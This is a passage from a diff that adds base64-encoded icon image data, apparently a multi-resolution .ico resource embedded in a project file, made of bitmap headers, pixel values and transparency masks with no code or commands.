+ Ev8lFhL/JBYS/ycYFP8jFRL/Rjw46be1tBH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8Bhnp2TzYgF/8xGxL/MBsS/zIbEv8zGxL/NBwT/zAbEv8+LynFRjMs7y8a
+ Ev85IRr/RC0n/ysYE/8oFhL/JxYR/y4cGP+IgoBh////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8BYkxEtz8eEf8/HxH/Px8S/0clGv9HJhv/OB0S/zYc
+ Ev80HBL/NBwS/zoeFf9AIhn/NBsT/zIaE/8sFxH/XU9Mx7i1tAP///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGlk4wnd0Ir+XM3HP9wNRv/cDYf/2cy
+ Hf9UKBb/SSMV/z4dEv84GhH/NhoS/zcbEv88IBX/NRoR/0EqI/2knpw1////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGug3CJqmtM/6pr
+ TP+iYUT/llU6/4JCJf91OB//ZS4Y/1AjE/9CHhL/PBwR/zwcEf87GxD/c2Jcmf///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acm3
+ rQ28im7lr3JQ/6hpSf+jZEX/oF9B/6JgRv+UUDj/ezkh/2csF/9UJRP/TCES/1k7MO2spqQV////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AbaVg12VVTb/ikcp/5VRNv+5dlz/wXtl/8R+af+pYUz/jEUx/3o3IP9sLxn/f2hfa///
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////AZJfSsWMRyv/uHJZ/8+GcP/aj33/45mG/9mRff/Eemf/oVdF/4pW
+ SM+ThH8D////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8Bh2VYb7NrUv/RhnD/zn5t/+eXiP/wo5T/6JuK/+md
+ jP/bjn7/kW5ndf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////AXprZxGfYU7n0YNu/9B/bv/fjH3/9amf//au
+ pv/tnZD/8qSZ//Oyp//UnpTpin17E////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BnW1hlduIdv/jj37/5pCD//Sm
+ m//5v7v/+L26//Slnf/1pJ7/+Lax//e9t/+4mJSZ////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AZqAezXbjn799KKV//Wg
+ lf/3pp7/+ri1//vLyf/6wb//96qm//iqp//5s7P/+ru6/+q3tv2QgYE5////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGdlZMD0JmNzfep
+ nv/6sqz/+bOt//q4tf/7x8X//NDO//zAv//5r6z/+bCu//u4t//8vbz//MHA/86op8+Qh4YF////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AbCb
+ lm3508z/+8W///q3sv/6ubX//MXD//zOzP/90tD//MPA//q2s//7ubX//L+8//3Fw//8yMb/+srI/6qT
+ knH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGWjowZ4sK88fzY0//82tb//M/L//zEwf/8ycb//M/N//nS0P/ou7j7+7y4//vAu//8ysf//M7L//3Q
+ zf/90M7/4b678YuEgxv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Ac2xqqf71c3//NnT//zZ1f/82tb//dzY//zMx//80c3/6dDOs822tIf7x8H/+8jC//zT
+ z//91tL//dfT//3W0//919P/xKuoq////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wG/q6VF8si7//vUzP/819H//NfR//vZ1P/839v//NvX//TSzvfY0M8ly8LBDerH
+ weH7zcX//NXQ//zc1//83Nj//NzX//3a1v/yzsr/qZqXSf///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8BwbOuCeW7rNn6zb//+9LJ//zVzf/60sv/+9XP//za1f/72NH/5tXShf//
+ /wH///8B3czJVffKwf/70cr//NnT//zb1v/829b//NrU//zY0v/cvbfdrKOhCf///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wHYtKd/+MGu//rLvP/6z8P/+s/E//rMvv/60cf/+9XN/+3Q
+ yuHb1NIL////Af///wH///8B5sjBu/rNw//70sn/+9XO//zWzv/71M3/+9PL//rPxv/FrKaD////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8BvKmgJe2znPf4v6z/+ce2//nIuP/5xbX/+MS0//nM
+ vv/2z8T/2MvGVf///wH///8B////Af///wHTyccp8srA+frOwv/70Mf/+9HH//vQxv/6zsL/+s3B/+m/
+ tPmtop8p////Af///wH///8B////Af///wH///8B////Af///wHUoIm597SY//i/qf/5w6//+L+q//e+
+ qf/3v6v/+Mi3/+LGvb3///8B////Af///wH///8B////Af///wHcxsGJ+c3A//rNv//60ML/+s7B//nK
+ vP/5ybr/+cm6/9Oypr3///8B////Af///wH///8B////Af///wH///8BqYRyV/Gnhf/3s5X/+L2k//i9
+ pP/3uZ//97mg//a7of/sv675y8PAK////wH///8B////Af///wH///8B////Aca9ug3lxrvj+tDB//rP
+ wP/5zL3/+cm3//jCr//4xbH/88Ku/8GspF3///8B////Af///wH///8B////AYl4bw/YmHnl96yI//ez
+ k//4uJv/97SX//e0lv/3tZf/9rWZ/9S3rI3///8B////Af///wH///8B////Af///wH///8B////Ab+2
+ s1Xzybj/+dDA//jNu//4xrH/+MCp//e9pf/4wKr/5Lmn6cC4tBH///8B////Af///wH///8Bk3twcdCX
+ eeHXpIrl3K6X59+yneffsZnp4bOc7eO1nu3atKLby8C7D////wH///8B////Af///wH///8B////Af//
+ /wH///8B////AdO5rq/nybvn38Gy4du7reHetaTf4LKe3eG0od3juabbvq+of////wH///8BAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8BXFpZHUZC
+ QWU3MzFxODQydzo2NXk9OTh7QDw6f0E+PIFDPz2FQz89hURAPodHREKJREFAaQYGBiMAAAAVAAAACQAA
+ AAUAAAAD////Af///wH///8B////Af///wH///8BAAAAAwAAAAcAAAALAAAAGRgYGDVDPj17SURCi0dC
+ QIlGQj+JRUA+h0M/PYVCPjyFQTw6gT88OoE+Ojh/PTk3e0A+PHNXVlU1////Af///wH///8B////Af//
+ /wH///8Bcm9uLU9JRtM3Lir/Ni0p/zcuKv84Lir/OS8r/zowK/86MCv/PDEs/zwyLP87MSz/Qjo23yQk
+ I2sAAABDAAAANwAAACkAAAAdAAAADwAAAAcAAAADAAAABQAAAAsAAAATAAAAIQAAAC8AAAA7BAQESzEt
+ K5U+My7zPjIs/z0yLP89Miz/PDEr/zwxK/87MCv/OS8q/zgvKv83Lir/Ni0p/0I8OuFdW1pH////Af//
+ /wH///8B////Af///wH///8BgX59B2ReXHc3LSn1LCEd/y0hHf8uIR3/LiId/y4iHf8vIx3/LyMd/y8j
+ Hf8wIx3/Myci+zErKa8HBwdZAAAAUQAAAE0AAABJAAAAPwAAADEAAAAlAAAAKwAAADkAAABDAAAASwAA
+ AE8AAABRISAfa0E4M9s0Jh7/MiMd/zEjHf8wIh3/MCId/y8iHf8vIh3/LiId/y0hHf8tIR3/Mygl+0xH
+ RY1jYWEN////Af///wH///8B////Af///wH///8B////AY2JiBNWT0y1LSEb/y4hG/8uIRv/LiIc/y4h
+ G/8uIRv/LyEb/y8iHP8vIhz/MCIc/zMpJfMiHx6FAAAAUwAAAFMAAABTAAAAUwAAAFMAAABRAAAAUQAA
+ AFMAAABTAAAAUwAAAFMBAQFVR0A9uTkqJP81JBz/MSIc/zAiG/8vIhv/LyIb/y8hG/8uIRz/LSAc/y0g
+ HP8tIRz/SUE+xXVycSP///8B////Af///wH///8B////Af///wH///8B////Af///wGHg4FBQTcy+S0g
+ G/8uIBv/LiEb/y4hG/8tIBv/LyEb/y4hG/8wIhv/LyEb/y8iHP8xKibVBAQEWQAAAFMAAABTAAAAUwAA
+ AFMAAABTAAAAUwAAAFMAAABTAAAAUwAAAFM1MzN3Rjo19zIiG/8yIhv/MSIb/zEiG/8vIRv/LiEa/y4h
+ G/8uIBv/LSAb/y0gG/87MCz9dXJwW////wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGXk5IFY1tXpzAkHv8sHxr/LR8a/y0gGv8tIBr/LiAa/y0gGv8uIBr/LiAa/y4gGv8vIx79IyEhkQAA
+ AFMAAABTAAAAUQAAAE0AAABHAAAARQAAAE0AAABRAAAAURAQEF1XUEzHMiMb/zEhGv8xIRr/MCEa/y8h
+ Gv8vIBr/LiAa/y4gGv8uIBr/LiAa/y8hHP9kXFnDi4mIC////wH///8B////Af///wH///8B////Af//
+ /wH///8B////AQAAAAMAAAAFWVNRNUg+OdctIBr/LB8Z/ywfGf8sHxn/LR8Z/y4fGf8tHxn/LR8Z/y4g
+ Gf8uIBn/LSQf4RYVFWcAAAA5AAAAKQAAABsAAAAPAAAADQAAABcAAAAlCgoKO1ZRTpU+MCj1MCIZ/zAh
+ Gf8vIRn/LiAY/y4fGP8uHxj/Lh8Y/y4fGP8vIBj/MCEa/0tBPOddWVdFAAAABQAAAAP///8B////Af//
+ /wH///8B////Af///wH///8BAAAAAwAAAA8AAAAbCwsLMUQ+PI8yJyL1Kh0X/yoeGP8pHRf/Kh4Y/yod
+ GP8qHhj/Kx8Y/y0fGP8sHxj/LCAa+S8oJpcmJSQZAAAABf///wH///8B////Af///wEAAAADbWdjM1RI
+ QtEzJBz/MiIY/zEhGf8uIBj/Lh8Y/y0eF/8sHhf/LB4X/y4eF/8uHxb/OCoj+VBKR6EZGRk1AAAAGwAA
+ AA8AAAAF////Af///wH///8B////Af///wH///8BAAAAAwAAAAkAAAAPAAAAEUVCQilQSEXHJhsW/yYb
+ Fv8lGxX/JRoW/yUaFf8lGhX/KRwW/ykcFv8oGxb/JxsW/y4lIeU7NjM9////Af///wH///8B////Af//
+ /wH///8Bf3ZzjTorJPsuHxf/Lh8X/y4fF/8sHRf/LB0X/yscFv8rHBb/Kx0W/ywdFv8sHRb/UUdC12Jg
+ XzsBAQERAAAADwAAAAkAAAAD////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGbmJY/Niwo9yUaFf8mGhT/JBkU/yMZE/8jGRP/JBkT/yQZFP8kGRT/JBkT/yQZFP81LivFYWBeC///
+ /wH///8B////Af///wGopKI7Rzw3+yobFv8pGxX/KRsV/ygbFf8nGxX/JxsV/ycbFf8nGxX/KRwV/ycb
+ FP84LCf7pKGgXf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wGkoKADZFtYqS4gG/8pGxT/JxkU/yUZE/8kGRP/JBgT/yQZE/8kGRT/JBgT/yQZ
+ FP8nHBf/TEhGX////wH///8B////Abe0sxdrYl+xJhoU/yYZFP8kGBP/JBgT/yQYE/8jGBP/IxgU/yMY
+ FP8jGBT/JBgT/ykdGf9qY2DDqqinCf///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8BgXh1PU4/ON8wHRT/MRwU/ywbFP8qGhP/KBkS/yka
+ E/8pGhP/JxgT/ycZE/8qGxT/NCgjx1xYVyX///8Buba1A4F7eGU9MSzvJRgT/yUYE/8kFxP/IxcS/yIW
+ Ev8hFxP/IRYT/yEWE/8iFxP/IxcS/0pBPe2JhINP////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bp6CdB3BhW3dHLiP1aUg8/zsg
+ Fv8xHBP/LxwT/zEdE/8wHBP/LhsT/y4bE/8tGxP/Lh4Y+zwxLpFYU1ENjoiGM1BEQNMpGBP/KBgT/ycX
+ Ev8mFxL/JRYS/yQWEv8kFhL/JxgV/yIVEf8iFRL/MSUh+WxlYo23tbQN////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AaCX
+ kyFgTETDQSMY/zYeE/8yHBL/MBsS/zEcEv8yHBL/MRwS/zEcE/8wGxL/LhsS/zUlH+NOREBFbmNfmTYl
+ Hv0qGBL/KxkT/ywZFP8qGBP/JxYS/yYWEv8mFhL/KRgU/yUVEv8lFRH/VElH06ShoDH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AaqhngORhoJZOiUd/zEbEv8xGxL/MBsS/zEbEv8zGxL/MxsS/zMbEv82HBT/MBsS/zIc
+ E/9GOjXLRjMs8zEbEv8xGxL/OSAZ/1s/Of9BKSP/LRoT/yoXEv8oFhL/JxYR/ykXEv81Ix7/mJORc62q
+ qQX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8BcmFasT4iF/87HRH/Ox4R/zweEv88HhL/Px8V/0Ul
+ G/89IBX/NhwS/zYcEv80GxL/NBwS/zQbEf80HBL/OR4V/0cnHv89IRj/NBsT/zMcFP8wGRP/KxcR/y4b
+ Fv90amfHuLW0Bf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BhnFqQWVBM+FUJxP/VScT/1Un
+ E/9TJhP/WCsa/2k8Lf9SKhv/RCEU/0QjF/87HhP/OBwS/zYbEv81GhH/NRsS/zgcE/84HBL/PyMZ/zQa
+ Ev8yGRH/LxcR/0w6NeuGfXtR////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BqJaPDZBo
+ WI1+RCv7ezwg/3o7H/92OR3/dDce/3Q4IP9oMBn/WSoV/1InFf9IIhP/QR8S/zscEf85GhH/NhoS/zYa
+ Ev83GhL/Ox4U/zcbEf81GhH/PiUe/W9gXJ+ooqAR////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Ab6poCWlclvHo2RF/6RkRv+jY0X/nVs+/5VUOP+NTTH/fkAj/3U4Hf9tMxr/YCwX/1Ml
+ FP9IIBL/Px0S/zwcEf87GxH/OxwR/zscEP85GxD/W0U+0bCpqDH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wHAo5ZfuoJk/7p+Xf+4e1v/tHZW/61vUf+oak7/mlo8/5NS
+ Nf+OSzL/gT8m/3M1Hv9lLBf/VCQU/0shEv9DHhH/QR0R/0EdEf9EJhv/kYeDc7CqqAP///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wHJt6wLvpZ/x7N1VP+naUf/oWJB/55f
+ QP+cXD3/nFo9/6FfQ/+nZEv/nFhA/4tHMP97OSL/bjAa/2IqFf9XJhP/UCMS/0wiEf9wWVHXrKakEf//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BuJaDQap1
+ W+eWVTX/i0gq/4xJLP+WUTb/r2xR/757Yv++eGL/wHpl/7JtV/+cUz//iUMu/346I/90Mxv/ai0X/2xA
+ MO2BamJN////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8BuKSaD55zX5OLTDD5h0Mm/49KMP+oY0v/x4Jq/82Gcf/PhnP/1497/9CJdf/Demf/q2BO/5VN
+ Of+IQiz/fz8q+35XSZ+ShH8T////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////AauQhDWNVj7Zi0Yq/6NdQ//Efmb/0Idx/9OGdP/ekoD/5puI/+GY
+ hf/ck3//z4Vy/7luXf+lWkj/jlRF34VvaUH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////AYR3cgORcWWXpl5E/8d+Zv/Rh3D/zHxq/9mI
+ eP/omIn/76KS/+uejv/mmYj/5pqJ/+GVhP/Rg3T/jW1nn4p6dwP///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AXJfWC+NV0XRwXZf/9GG
+ cP/Nfmv/0X9u/+ORgv/xopT/9Kic//CilP/qnIz/76KT//Cnmv/so5T/vod80Yl3czH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BemtnDYhZ
+ TI2xaVT50oNu/9ODcP/Sf2//3ot8//Cgk//2rqb/97Kq//Onnf/tnI//8aGV//Svpf/0tKr/5qug+bWO
+ iI+KfXsP////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8BjmhfU7JvYO/aiHX/4Y59/9+Ke//kjoH/8Z+S//iyq//5vrr/+L66//awqv/zoZj/9KKb//at
+ qP/3t7L/9ry1/9aqo/Gki4hV////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wGVhIENr3puyd6Lev/tmYj/7ZeJ/+2Wiv/ynZH/+Kyl//m+uv/6yMX/+cTB//i0
+ sP/2p6D/9qWg//itqf/5trP/+Lu5//W9uf++nZrNjIGBD////wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wGbgHpt3o5+/fKfkf/2pZr/9qOZ//ejm//4qqP/+be0//rF
+ w//7zMr/+sTC//m0sf/3qaX/+Kmm//mvrv/5tLX/+rq6//q+vf/uu7n9kIGBcf///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////AaWRjD3WlIbd9qWX//mupf/5sqz/+bex//mw
+ q//6t7T/+8PB//zNzP/8z87//MPC//q1s//4rKn/+a6s//qzsv/7uLf//Ly8//y9vf/8wsH/2K6t35aG
+ hUH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BkYaEE8Soop/vvLL7+bSr//q0
+ rv/6tK7/+rSu//q5tP/7wb//+8rI//zS0P/90M7//MLB//u4tv/5sq//+bSx//q4tf/8vLr//MC///zC
+ wP/8xcP/8cG/+72fnqGIfXwV////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Br5qVUd6+
+ t+/71dD/+87J//q9uP/6ubP/+rm1//vAvf/8yMX//MzJ//zT0f/90tD//cbD//u8uf/6trP/+7m1//u9
+ uf/8wb7//cbD//3Ixf/8ycf//MvJ/9y1tPGrlZRV////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wGWjowTyK2o3/vW0f/82NP//NrW//zV0f/7yMT//MK+//zHxP/8ycX//M3K//3U0v/60c//7L68/fzA
+ vP/7urb/+725//zFwf/8ysf//MzK//zOzP/9zsz//c/M//3Rzv/EqKfhi4SDFf///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AaKamAWxnpp/88/H//vX0f/82dT//NnV//vZ1f/82db//NHN//zMyP/8ycT//M/M//zV
+ 0v/pzczjxKqovfXCvv/7wLz/+8K9//zKxv/80M3//dHO//zTz//908///NPQ//3U0f/0zcr/pZSShZeP
+ jgf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Aaialz/gvrTb+tTM//vY0v/82dP//NjV//zZ1f/829f//d7b//zY
+ 0//8y8X//M/L//TSz/vi0M51xbWzR+XBven7x8H/+8fA//vOyf/81NH//dfT//3Y1P/82NT//dfT//3Y
+ 1P/919P/27u43ZaMi0P///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8Bu6qlG9i3rK/0yr3/+9TM//vWz//72NL//NfR//vY
+ 0v/72tX//N7a//zf2//82tX/+dHM/enPzK/Y0M8by8LBCdnCvoHyyMH3+8vD//vUz//81tL//NzX//zc
+ 2P/83Nj//NzX//zb1v/92dX/9dDM/82yrrWlmJYd////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BzbKpaevBs/P6z8L/+tLJ//vV
+ zf/71tD/+9XP//vVz//72NL//NzY//zc1//72tX/8tjV593QzlHY0M8D////AdPJxyfoycXJ+srC//rN
+ xv/71M7//NrV//zc1//83Nf//NzX//zc1//829f//NjT/+fFwPW7qKRt////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wHAs60R3riq3/jH
+ uP/6zb//+tHH//vUzP/71M3/+tLL//rRyv/71s///NrU//zY0v/719D/4tTSn9rT0wv///8B////AdjP
+ zQPbzcth88nB//rMxP/70sv//NjS//za1P/829b//NrV//zZ1P/82dP//NjS//rSzP/RtbDjq6KgFf//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AcO3
+ sgvTtKiZ98Cs//nHt//6zL3/+s/D//vRxv/60MX/+s3A//rOwv/608r/+9bP//rUzP/p0Mvn2tPRGf//
+ /wH///8B////Af///wH///8B4cnDt/bJv//6zsX/+9LK//vVzf/71s///NfP//zWzv/71c3/+9TM//rS
+ yv/5zsX/vKijna6mowv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8Bv7KsA82xpU3qtaHl+L6r//nGtP/5yrr/+sy+//rMvv/5yrz/+ci5//nKvP/5z8X/+tPK//HP
+ x/nfzcl3////Af///wH///8B////Af///wH///8B28jEQ+zJwOP6zcL/+8/F//vRyP/708r/+9LK//vS
+ yv/70cj/+9HH//vPxv/6zsP/47yx57mmoVOyqaYD////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8BvKmgG9ytma/ztJv9+L6q//nDsP/5yLb/+ca2//nFtf/5w7P/+MOy//jH
+ t//4zL7/9s/D/+bLw8HWy8gj////Af///wH///8B////Af///wH///8B08nHDeDIwo/0y7/7+s3B//vO
+ w//7z8b/+9HG//vRxf/7z8X/+s7B//rNwf/6zcH/88e6/dOzqbWtop8d////Af///wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8Bx52Le+uqj/33tpv/+L6o//nDr//5w7D/+MCs//i+
+ qv/3v6r/976q//jEsf/4ybn/68i959DFwVH///8B////Af///wH///8B////Af///wH///8B////Ac3F
+ wyXkycLF+c3A//nNv//6zcD/+tDC//rPwv/6zsH/+cu9//nKu//5yrz/+cq7/+m+sP3FrKKB////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGWhHsl2JyB5/aujv/3tpn/+L2l//nB
+ q//5v6n/97yl//e7pP/3vKT/9ryl//fBrP/1xbT/1sG7nc/HxA3///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wHLwL1b7cq//fnPwf/5zsD/+s/B//rPwf/6zr//+cq7//jGtv/4xbT/+Me2//jH
+ tf/ZtKbrsailKf///wH///8B////Af///wH///8B////Af///wH///8B////AZKBeQeuhG+Z86eE//av
+ jv/3tJf/+Lyi//m9pP/4u6L/97ie//e5n//3uJ//9rmf//e+pv/hva/zy8PAJ////wH///8B////Af//
+ /wH///8B////Af///wH///8B////Af///wHGvbkJ1b62wffOv//60MH/+tDA//nNvv/5y7v/+Mm3//jF
+ sf/4wa3/+MOv//jFsf/zwq7/xa2jn7yyrwn///8B////Af///wH///8B////Af///wH///8BiXhvBaJ9
+ aWHmpYXr96+M//eujP/3tJb/+Lic//e4nP/3tZj/97SX//e1mP/3tZj/9rWZ/+q2oPnUu7J3////Af//
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8Bwbi1O97DuOP3zLv/+dC///jP
+ v//4zLn/+Mez//jDrf/4v6j/972m//fAqf/4waz/67uo78axqGfAuLQF////Af///wH///8B////Af//
+ /wH///8BlXNhI8aHZsHwnXP/9qV+//atif/3spH/97WW//ezk//2sZD/9rGR//aykv/2spL/8bGU/9my
+ oL/HuLEh////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BsquoDcqy
+ qInuw7D3+M68//jOu//4zLj/+Mq1//fCq//3vqb/9rqf//e7oP/3vaX/9L6n/9y3p8nDs6wr////Af//
+ /wH///8B////Af///wH///8BjYB5T6WIec27lYHRxKGP2cqqmdvNrZ7b0LGi29SzotvSsaDh1bSj49a1
+ pePZuKfj2Lmq18u3rV3Kv7sF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af//
+ /wH///8B////AbeqpSnTvrS33Me929jCuNfPua7TyrSq0citotHQsaTP0q+gzdGtnc3VsqLL1rWmycyy
+ psW3rall////Af///wH///8BAAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA
+ AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA
+ //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA
+ AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA
+ //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA
+ AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA
+ //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//KAAAAEAAAACAAAAAAQAgAAAA
+ AAAAQgAAAAAAAAAAAAAAAAAAAAAAAP///wH///8B////Af///wFwcHAHNjY2MS4uLjstLS1DLi4uSTEx
+ MUs0NDRNOjo6UTs7O1M+Pj5XPz8/V0FBQV1AQEBdQUFBX0JCQl9JSUljPDw8VwAAABsAAAAPAAAAB///
+ /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAA
+ AAMAAAALAAAAFQsLCylISEhlSUlJZUZGRmNERERhQ0NDYUJCQmFBQUFdQEBAXT8/P10+Pj5XPT09Vzw8
+ PFc5OTlTOjo6Tz09PUs7Ozs/ZWVlG////wH///8B////Af///wH///8B////Af///wH///8Bjo6OC2ll
+ ZOdAODX/QDk1/0E5Nv9COjf/Qzs4/0M7OP9FPTn/RT05/0Y+Ov9HPzv/SD87/0hAPP9IQDz/SUE9/1pU
+ UfcUFBRZAAAAPwAAADMAAAAlAAAAFwAAAA0AAAAF////Af///wH///8B////Af///wH///8B////AQAA
+ AAMAAAAJAAAAEQAAAB0AAAArAAAAOQAAAEU2NTSpST46/01BPP9JQDv/SkE8/0pBPP9JQDv/SD86/0c+
+ Of9HPjn/RTw4/0Q8OP9DOzj/Qjo3/0A4Nf8/ODX/S0hG+XZ1dTv///8B////Af///wH///8B////Af//
+ /wH///8B////Af///wGBfn1jNi0p/ywiHf8rIR3/LCEd/y0iHf8tIh3/LiId/y4iHf8vIx3/LyMd/zEk
+ Hf8zJR7/LyMd/y8jHf8wIx7/SEZFwQAAAFEAAABRAAAATQAAAEcAAAA7AAAALwAAACEAAAATAAAACQAA
+ AAUAAAAHAAAADwAAABsAAAAnAAAANQAAAEEAAABLAAAATwAAAFEZGRltRz05+zMlHv8yJB7/MiQd/zEj
+ Hf8xJB3/MSMd/zEjHf8xJB3/MCMd/y8jHf8vIx3/LSId/y0iHv8tIh3/LyUh/2BeXo3///8B////Af//
